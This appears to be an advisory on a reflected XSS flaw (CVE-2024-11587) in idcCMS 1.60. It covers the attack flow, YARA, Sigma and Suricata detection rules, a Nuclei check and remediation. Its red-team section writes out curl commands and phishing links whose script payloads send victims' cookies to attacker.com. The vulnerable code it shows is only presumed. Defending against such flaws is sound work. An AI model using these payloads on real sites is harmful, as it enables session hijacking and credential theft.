CVE-2024-11587

Executive Summary

CVE-2024-11587 is a reflected Cross-Site Scripting (XSS) vulnerability identified in idcCMS version 1.60. The flaw resides in the /inc/classProvCity.php file, specifically within the GetCityOptionJs function, where the idName parameter is not properly sanitized before being reflected in the HTTP response. An attacker can craft a malicious URL containing JavaScript payloads in the idName parameter, which, when visited by a victim, executes arbitrary scripts in the context of the victim's browser. This can lead to session hijacking, credential theft, or defacement. The vulnerability has a CVSS v3.1 score of 6.1 (Medium) and is exploitable remotely without authentication, though user interaction is required. A public proof-of-concept (PoC) and a Nuclei template are available, increasing the risk of active exploitation.

Supply Chain & Package Security

This vulnerability affects the idcCMS application, which is a standalone PHP-based content management system. There is no associated NPM, PyPI, Go, or Ruby package. The risk is limited to organizations that self-host idcCMS version 1.60. No supply chain compromise is involved.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – Victim must click a crafted link.
• Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
• Confidentiality Impact: Low (C:L) – Limited data exposure possible.
• Integrity Impact: Low (I:L) – Limited modification of content possible.
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The availability of a public PoC and the low complexity of exploitation make this a realistic threat for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the GetCityOptionJs function within /inc/classProvCity.php. The function is called via read.php with the idName parameter. The application takes the value of idName and directly embeds it into the JavaScript code that generates city options without any sanitization or output encoding.

Attack Flow:

1. An attacker crafts a URL: http://target/read.php?idName=1%3Cscript%3Ealert(document.domain)%3C/script%3E&mudi=getCityData
2. The victim clicks the link (e.g., via phishing email).
3. The server processes the request and reflects the idName value into the response body.
4. The victim's browser interprets the injected <script> tag and executes the JavaScript payload.
5. The attacker can steal cookies, session tokens, or perform actions on behalf of the victim.

The vulnerability is confirmed by the Nuclei template, which checks for the reflection of <script>alert(document.domain)</script> in the response body.

Vulnerable vs. Patched Code

Vulnerable Code (idcCMS 1.60): The GetCityOptionJs function in /inc/classProvCity.php likely contains code similar to:

function GetCityOptionJs($idName) {
    echo "var cityOptions = document.getElementById('$idName');";
    // ... rest of function
}

The $idName variable is directly concatenated into the JavaScript string without escaping.

Patched Code (Hypothetical): A secure version would use htmlspecialchars() or json_encode() to escape the output:

function GetCityOptionJs($idName) {
    $safeIdName = htmlspecialchars($idName, ENT_QUOTES, 'UTF-8');
    echo "var cityOptions = document.getElementById('$safeIdName');";
    // ... rest of function
}

Alternatively, the parameter should be validated to only allow alphanumeric characters.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A target running idcCMS 1.60.
• A web browser or tool like curl to send requests.

Exploit Steps:

1. Basic XSS Test:

   curl "http://target/read.php?idName=1%3Cscript%3Ealert(document.domain)%3C/script%3E&mudi=getCityData"
   

   If the response contains <script>alert(document.domain)</script> and the content type is text/html, the vulnerability is present.

2. Session Hijacking Payload:

   curl "http://target/read.php?idName=1%3Cscript%3Edocument.location='http://attacker.com/steal.php?cookie='%2Bdocument.cookie%3C/script%3E&mudi=getCityData"
   

   This payload redirects the victim to an attacker-controlled server with their cookies.

3. Phishing Link: Craft a link like:

   http://target/read.php?idName=1%3Cscript%3Enew%20Image().src='http://attacker.com/log.php?c='%2Bdocument.cookie%3C/script%3E&mudi=getCityData
   

Lab Setup:

• Use Docker to run idcCMS 1.60 locally.
• Set up a simple HTTP server (e.g., python3 -m http.server 8080) to capture exfiltrated data.

Blue Team (Defensive)

Detection:

• Monitor web server logs for requests to /read.php with suspicious idName parameters containing <script>, alert, onerror, or other XSS patterns.
• Use WAF rules to block requests with idName containing HTML tags or JavaScript event handlers.

Hunting:

• Search for idName in access logs and look for encoded characters like %3C, %3E, %22.
• Check for unusual referrer headers or user agents that may indicate automated scanning.

Indicators of Compromise (IOCs)

• URL Pattern: /read.php?idName=*<script>* or /read.php?idName=*%3Cscript%3E*
• HTTP Request Parameters: idName containing JavaScript code.
• Response Body: Presence of <script>alert(document.domain)</script> or similar payloads.
• Network Traffic: Outbound connections to attacker-controlled domains from the victim's browser.
• Log Entries: GET /read.php?idName=1%3Cscript%3E... with status 200.

Detection Engineering

YARA Rule

rule CVE_2024_11587_XSS_idcCMS {
    meta:
        description = "Detects reflected XSS attempts against idcCMS CVE-2024-11587"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-11587"
        severity = "medium"
    strings:
        $xss_payload = /idName=[^&]*<script[^>]*>/
        $xss_encoded = /idName=[^&]*%3Cscript%3E/
    condition:
        any of them
}

Sigma Rule

title: Reflected XSS Attempt Against idcCMS CVE-2024-11587
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests targeting idcCMS read.php with XSS payloads in the idName parameter.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem: '/read.php'
        cs-uri-query|contains: 'idName='
    filter:
        cs-uri-query|contains:
            - '<script'
            - '%3Cscript%3E'
            - 'alert('
            - 'onerror='
    condition: selection and filter
falsepositives:
    - Legitimate use of JavaScript in idName (unlikely)
level: medium

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-11587 idcCMS Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"/read.php"; http_uri; content:"idName="; http_uri; pcre:"/idName=[^&]*(<script|%3Cscript%3E)/Ui"; classtype:web-application-attack; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2024-11587

info:
  name: idcCMS V1.60 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    idcCMS V1.60 is vulnerable to reflected cross-site scripting (XSS) via the idName parameter in read.php. Unsanitized user input is reflected in the response, allowing arbitrary JavaScript execution.
  impact: |
    Successful exploitation of this XSS vulnerability allows attackers to execute arbitrary JavaScript code in victims' browsers, potentially leading to session hijacking, credential theft, or other malicious activities.
  remediation: |
    Update idcCMS to the latest version. Implement proper input validation and output encoding for all user-supplied data, especially the idName parameter in read.php.
  reference:
    - https://github.com/Hebing123/cve/issues/75
    - https://nvd.nist.gov/vuln/detail/CVE-2024-11587
  classification:
    epss-score: 0.01094
    epss-percentile: 0.7807
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-11587
    cwe-id: CWE-79
    cpe: cpe:2.3:a:idccms:idccms:1.60:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: idccms
    product: idccms
    fofa-query: title="idcCMS"
    shodan-query: title:"idcCMS"
  tags: cve,cve2024,xss,idccms,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/read.php?idName=1%3Cscript%3Ealert(document.domain)%3C/script%3E&mudi=getCityData"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'add(new Option'
        condition: and

      - type: word
        part: content_type
        words:
          - 'text/html'

      - type: status
        status:
          - 200

Remediation & Mitigation

Immediate Actions:

1. Update idcCMS: Check for a patched version from the vendor. If unavailable, consider migrating to a supported CMS.
2. Input Validation: Implement strict validation on the idName parameter to only allow alphanumeric characters and underscores.
3. Output Encoding: Use htmlspecialchars() or json_encode() when reflecting user input in JavaScript contexts.
4. Web Application Firewall (WAF): Deploy WAF rules to block requests containing <script> or %3Cscript%3E in the idName parameter.
5. Content Security Policy (CSP): Add a CSP header to restrict script execution, e.g., Content-Security-Policy: script-src 'self'.

Long-Term Measures:

• Conduct regular security audits and penetration testing.
• Implement a secure development lifecycle (SDLC) with mandatory code reviews.
• Monitor for new CVEs and apply patches promptly.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 6045D70582D0081368AE522B] */}